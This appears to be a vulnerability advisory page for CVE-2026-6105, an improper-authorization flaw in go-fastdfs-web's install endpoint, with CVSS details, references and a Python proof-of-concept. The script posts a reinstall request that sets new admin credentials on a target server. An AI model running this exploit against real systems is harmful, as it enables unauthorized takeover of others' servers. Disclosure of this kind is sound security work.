CVE-2026-6105

Description

A security vulnerability has been detected in perfree go-fastdfs-web up to 1.3.7. This affects an unknown part of the file src/main/java/com/perfree/controller/InstallController.java of the component doInstall Interface. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

perfree go-fastdfs-web <= 1.3.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    """
    PoC for CVE-2026-6105
    Exploits improper authorization in the doInstall interface.
    """
    url = f"{target_url}/install/doInstall"
    # Payload to simulate a恶意 installation request
    data = {
        "dbHost": "127.0.0.1",
        "dbPort": "3306",
        "dbName": "fastdfs",
        "dbUser": "root",
        "dbPass": "root",
        "userName": "admin",
        "userPass": "admin123"
    }
    
    try:
        response = requests.post(url, data=data, timeout=10)
        if response.status_code == 200:
            print("[+] Target may be vulnerable. Installation process triggered.")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print("[-] Exploit failed or target not vulnerable.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1:8080"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6105
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6105
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6105/
[4] VulDB https://vuldb.com/cve/CVE-2026-6105
[5] https://gitee.com/ying-xiujie/cve/issues/IGB6M9
[6] https://vuldb.com/submit/781598
[7] https://vuldb.com/vuln/356964
[8] https://vuldb.com/vuln/356964/cti

Raw JSON Data

JSON

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